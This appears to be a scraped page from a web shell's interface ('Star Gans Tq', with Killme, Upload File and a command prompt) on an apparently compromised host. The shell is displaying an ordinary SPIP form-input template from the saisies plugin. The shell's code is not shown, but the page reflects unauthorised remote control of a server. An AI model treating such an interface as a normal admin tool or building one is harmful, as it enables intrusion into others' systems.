.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/plugins/auto/saisies_v1/saisies/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/plugins/auto/saisies_v1/saisies/input.html

    [(#REM) 
    
      Parametres supplementaire :
      - ** datas : tableau de donnees indice=>valeur
      - defaut : valeur par defaut du parametre
      - type : type de l'input (defaut: text)
      - class : classe(s) css ajoutes a l'input
      - size : taille du champ
      - maxlength : nombre de caracteres maximum
      - disable : champ insaisissable ? 'oui' (defaut : '')
      - valeur_forcee : valeur utilisee meme si une valeur est dans l'environnement
      - autofocus : indique si le champ prend le focus a l'affichage (HTML5 requis)
      
      Exemple d'appel :
    	[(#SAISIE{input,couleur_foncee,
    		label=<:spa:couleur_foncee:>,
    		size=7,
    		datas=#ARRAY{
    				0,valeur0,
    				1,valeur1,
    				2,valeur2}})]
    ]
    
    #SET{type,#ENV{type,text}}
    
    [(#REM) datas peut ĂȘtre une chaine qu'on sait dĂ©composer ]
    #SET{datas, #ENV*{datas}}
    #SET{datas, #GET{datas}|is_string|?{(#GET{datas}|saisies_chaine2tableau), #GET{datas}}}
    
    [(#REM) Pas de HTML5, pas de datas]
    #SET{datas, #HTML5|?{#GET{datas}}}
    
    [(#REM)  l'attribut autocomplete ne peut avoir pour valeur que on ou off ]
    #SET{val_autocomplete, #ARRAY}
    #SET{val_autocomplete, #GET{val_autocomplete}|push{on}}
    #SET{val_autocomplete, #GET{val_autocomplete}|push{off}}
    
    [(#REM) permettre de donner un identifiant de list specifique en option de la saisie
    ]#SET{list_id,#ENV{list}}
    <B_selection>
    [(#SET{list_id,[(#GET{list_id,[champ_(#ENV{nom})_datas]})]})]
    <datalist id="#GET{list_id}">
    <BOUCLE_selection(POUR){tableau #GET{datas}}
    >[	<option value="(#VALEUR|attribut_html)"></option>
    ]</BOUCLE_selection>
    </datalist>
    </B_selection>
    <input type="#GET{type}" name="#ENV{nom}" class="#GET{type}[ (#ENV{class})]" id="champ_[(#ENV{id,#ENV{nom}}|saisie_nom2classe)]"[ list="(#GET{list_id})"][ value="(#ENV{valeur_forcee,#ENV{valeur,#ENV{defaut}}})"][ size="(#ENV{size})"][ maxlength="(#ENV{maxlength})"][ disabled="(#ENV{disable})"][ readonly="(#ENV{readonly})"][ placeholder="(#ENV{placeholder})"][(#ENV{obligatoire}|et{#ENV{obligatoire}!={non}}|et{#HTML5}|oui) required="required"][(#ENV{autofocus}|et{#ENV{autofocus}!={non}}|et{#HTML5}|oui) autofocus="autofocus"][(#GET{val_autocomplete}|find{#ENV{autocomplete}}|oui) autocomplete="#ENV{autocomplete}"][ (#ENV*{attributs})] />